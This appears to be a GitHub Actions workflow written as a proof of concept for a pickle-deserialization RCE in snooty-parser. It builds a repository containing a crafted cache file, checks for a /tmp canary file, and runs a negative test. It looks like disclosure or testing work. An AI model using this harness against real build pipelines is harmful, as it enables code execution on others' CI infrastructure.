snooty-build-poc.yml

name: "PoC: snooty-parser pickle.loads RCE (CWE-502)"
on: [push, pull_request]
jobs:
  snooty-rce-poc:
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@v4
      - name: Show cache file
        run: ls -la .snooty-*.cache.gz 2>/dev/null || echo "No cache"
      - uses: actions/setup-python@v5
        with:
          python-version: "3.11"
      - name: Install snooty-parser and dependencies
        run: |
          pip install typing_extensions
          pip install 'git+https://github.com/mongodb/snooty-parser.git'
          python -c "from snooty import __version__; print(f'snooty version: {__version__}')"
      - name: Run snooty build (triggers pickle.loads)
        run: |
          echo "=== Running snooty build ==="
          echo "Same command the MongoDB autobuilder runs on every PR."
          python -m snooty build . 2>&1 || true
          echo "=== Build complete ==="
      - name: Verify RCE
        run: |
          if [ -f /tmp/snooty-rce-proof.txt ]; then
            echo "====================================="
            echo "  RCE CONFIRMED on Actions Runner"
            echo "====================================="
            cat /tmp/snooty-rce-proof.txt
          else
            echo "Canary not found — checking if snooty loaded the cache..."
          fi
      - name: Negative test
        run: |
          rm -f .snooty-*.cache.gz /tmp/snooty-rce-proof.txt
          python -m snooty build . 2>&1 || true
          if [ ! -f /tmp/snooty-rce-proof.txt ]; then
            echo "Negative test PASSED: no RCE without malicious cache"
          fi
      - uses: actions/upload-artifact@v4
        if: always()
        with:
          name: snooty-rce-proof
          path: /tmp/snooty-rce-proof.txt
          if-no-files-found: warn